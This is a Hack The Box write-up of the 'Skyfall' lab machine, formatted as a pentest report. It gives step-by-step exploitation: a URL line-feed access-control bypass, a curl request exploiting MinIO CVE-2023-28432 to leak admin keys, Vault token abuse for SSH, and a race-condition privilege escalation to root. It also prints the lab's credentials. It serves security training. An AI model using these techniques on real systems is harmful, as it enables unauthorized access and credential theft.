Hack The Box Skyfall Writeup (Insane Linux)

Summary

Skyfall is an Insane Linux machine fronting a Flask app on demo.skyfall.htb. Logging in with guest:guest and appending a line feed (%0a) to the /metrics URL bypasses the access control and leaks the internal backend vhost prd23-s3-backend.skyfall.htb. That MinIO backend is vulnerable to CVE-2023-28432, so a POST to the bootstrap verify endpoint dumps its environment variables including the admin access and secret keys. The mc client lists the buckets and pulls a versioned home_backup.tar.gz for askyy, whose .bashrc holds a HashiCorp Vault address and token; the Vault SSH OTP role then logs in as askyy. askyy may run /root/vault/vault-unseal as root, and racing the creation of its debug.log against that run captures the root Vault token, which generates an admin OTP and an SSH session as root.

Executive Summary

Overview

The pentest conducted on Skyfall CTF’s infrastructure revealed several critical vulnerabilities that could potentially allow unauthorized access to sensitive information and system control. The primary target of the assessment was the network segment with the IP address 10.10.11.254, hosting various services and virtual hosts including skyfall.htb and demo.skyfall.htb. The vulnerabilities identified ranged from information disclosure to vertical privilege escalation, with varying degrees of severity.

Key Findings

1. Security Bypass & Information Disclosure

A security bypass was identified in the demo.skyfall.htb domain, allowing unauthorized access to restricted endpoints and leading to sensitive information disclosure. This was achieved by exploiting guest credentials and manipulating URL parameters. The severity of this vulnerability is considered elevated, and it highlights the need for robust authentication and authorization mechanisms.

2. Critical Vulnerability in MinIO

A critical information disclosure vulnerability (CVE-2023-28432) was found in the MinIO storage service used by demo.skyfall.htb, allowing the exposure of sensitive environment variables including administrative credentials. The impact of this vulnerability is high due to the potential for comprehensive data compromise.

3. Initial Access via SSH and OTP

By exploiting the aforementioned vulnerabilities, attackers could gain initial access to the system through SSH, using sensitive information obtained from the MinIO service. This access was facilitated by the extraction and use of SSH keys and tokens related to the Hashicorp Vault service, indicating an elevated level of severity.

4. Vertical Privilege Escalation through Race Condition

A critical race condition vulnerability was exploited, allowing unauthorized elevation of privileges from the askyy user to root. This was achieved by manipulating file permissions and exploiting a script intended for administrative use. The exploitation of this vulnerability represents a significant security risk, with the potential for full system compromise.

Recommendations

Immediate actions should be taken to mitigate the identified vulnerabilities. This includes updating the MinIO service to a non-vulnerable version, implementing stronger access controls and authentication mechanisms, and reviewing and hardening all scripts and services running with elevated privileges. Regular security audits and assessments are also recommended to identify and mitigate future vulnerabilities.

Conclusion

The pentest of Skyfall’s infrastructure uncovered significant vulnerabilities that pose a substantial risk to the confidentiality, integrity, and availability of the system and its data. Addressing these vulnerabilities is crucial to securing the infrastructure against potential threats and ensuring the protection of sensitive information.

---

Initial Target - 10.10.11.254

Virtual Hosts: skyfall.htb demo.skyfall.htb prd23-s3-backend.skyfall.htb prd23-vault-internal.skyfall.htb

Service Enumeration

IP Address	Ports Open
10.10.11.254	TCP: 22 (OpenSSH 8.9p1 Ubuntu 3ubuntu0.6), 80 (nginx 1.18.0 Ubuntu)

Web Server Enumeration - skyfall.htb

Possibly valid usernames:

• James Bond: jbond@skyfall.htb

• Aurora Skyy: askyy@skyfall.htb

• Bill Tanner: btanner@skyfall.htb

Web Server Enumeration - demo.skyfall.htb

Backend appears to be Flask.

/beta endpoint appears to be interesting. The title shows “403 Forbidden”, but the real status code is 200 when you are logged in (session cookie).

According to the dashboard, they are using Minio Storage. It’s a great idea to read through its documentation, and learn more about it. Default credentials for minio: minioadmin:minioadmin

Contact form at http://demo.skyfall.htb/escalate is just javascript. No message is ever sent.

BS01: Security Bypass & Information Disclosure

Overview: During the security assessment of the demo.skyfall.htb domain, a vulnerability was identified, which allowed unauthorized users to bypass security mechanisms and access restricted information. This vulnerability, designated as BS01, revolves around the exploitation of improper access control mechanisms and highlights significant oversights in the security configuration of the web application.

Detailed Description: The vulnerability was discovered in the context of the web application hosted at demo.skyfall.htb. By leveraging guest credentials (`guest:guest`), an attacker can access sensitive information that should otherwise be restricted. The core of this security flaw lies in the web application’s failure to properly enforce access controls, allowing authenticated users to retrieve information beyond their privilege level.

The exploitation process involves manipulating the URL to access the /metrics endpoint directly, despite the web server ostensibly denying such requests. By appending a Line Feed character (`%0a`) to the URL (`http://demo.skyfall.htb/metrics%0a`), attackers can circumvent the server’s access controls. This bypass technique exploits the web server’s handling of special characters in URLs, resulting in an elevation of access privileges.

Impact: The severity of this vulnerability is elevated due to the potential for unauthorized disclosure of sensitive information. The ability for an attacker to bypass security mechanisms not only compromises the integrity of the application’s data but also undermines user trust and the foundational security principles of the system.

Recommendations: Ensure that the web application enforces strict access controls that validate user privileges before granting access to sensitive information. Also, implement rigorous input validation and sanitization measures to prevent manipulation of URLs and other inputs that can lead to security bypasses.

Steps to Reproduce:

1. Authenticate on the demo.skyfall.htb web application using the guest credentials (guest:guest).
2. Navigate to the /metrics endpoint and modify the request URL by appending a Line Feed character (%0a).
3. Observe the unauthorized access to restricted information, highlighting the security bypass.

BS02: CVE-2023-28432

Explanation: In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD, resulting in information disclosure. All users of distributed deployment are impacted.

Severity: High

Recommendation: (recommendation)

Steps to Reproduce:

1. Exploit BS01 in order to leak the back-end internal vhost (prd23-s3-backend.skyfall.htb).

2. Send a POST request in order to leak environment variables for the MinIO instance: curl -X POST http://prd23-s3-backend.skyfall.htb/minio/bootstrap/v1/verify. This exposes the credentials for the admin account, in this case: 5GrE1B2YGGyZzNHZaIww:GkpjkmiVmpFuL2d3oRx0.

Additional Insights:

More information on the matter can be found here.

Fortunately, in this case, it isn’t possible to update the MinIO instance and replace the original binary with the “evil_minio” described in the article. The following error message is shown when we try to do so: mc: <ERROR> Unable to update the server. The specified method is not allowed against this resource.

Initial Access

BS03: SSH Session via OTP

Explanation: With the sensitive information obtained by exploiting BS02 in hands, a remote attacker could be able to manage the MinIO instance as if they were admin. Behind Security was able to download askyy’s home backup, which contains not only their ssh keys, but tokens regarding Hashicorp Vault.

Severity: Elevated

Recommendation: (recommendation)

Steps to Reproduce:

1. Install mc client.

2. Add an alias to the client, specifying the previously found credentials: mc alias set skyfall http://prd23-s3-backend.skyfall.htb 5GrE1B2YGGyZzNHZaIww GkpjkmiVmpFuL2d3oRx0

3. List all available files: mc ls --recursive --versions skyfall

4. We looked into every single file of every single backup version. We tested the id_rsa SSH private key present in the first version, but it didn’t work. However, the second version has some naughty information in the bashrc file. To download the backup’s second version: mc cp skyfall/askyy/home_backup.tar.gz ./backup.tar.gz --version-id=2b75346d-2a47-4203-ab09-3c9f878466b8

5. Extract the files: tar -xf backup.tar.gz

6. Read through the .bashrc file to uncover the token for a vault: export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb" and export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"

7. Export these variables in your local system.

8. You can list the available vault keys: vault list -address=$VAULT_API_ADDR ssh/roles

9. To log in as askyy, run the following command: vault ssh -address=$VAULT_API_ADDR -role dev_otp_key_role -mode OTP askyy@10.10.11.254 and follow the instructions printed in the terminal.

Post-Exploitation

BS04: Vertical Privilege Escalation - Race Condition

Explanation: User askyy is able to run the script /root/vault/vault-unseal. That isn’t a problem by any means, however, given the circumstances, a remote attacker with access to the askyy user may be able to abuse a race condition vulnerability and read sensitive data from the debug file generated by the mentioned script. Using the information gathered in the debug file, an attacker may be able to log in as root via ssh.

Severity: Extreme

Recommendation: (recommendation)

Steps to Reproduce:

1. To abuse the race condition, we’ll need two SSH sessions as askyy. Follow the steps in BS03 to get that done.

2. In the first session, at /home/askyy, we’ll need to run an infinite loop that creates the debug.log file nonstop. The command is: while true; do touch debug.log; done.

3. In the second session, in the same path as the first session (/home/askyy), we’ll run the vault-unseal script as root: sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

4. The debug.log file will be accessible by us, and thus we can extract sensitive information from it, including the vault token for the root user: hvs.I0ewVsmaKU1SwVZAKR3T0mmG

5. Export the new vault token to your local machine: export VAULT_TOKEN=hvs.I0ewVsmaKU1SwVZAKR3T0mmG

6. Use vault SSH to generate an OTP code and log in as root: vault ssh -address=$VAULT_API_ADDR -role admin_otp_key_role root@10.10.11.254. This time, we are using the key “admin_otp_key_role” instead of the previous “dev_otp_key_role”. This was discovered when we listed the available vault keys in BS03, item 8.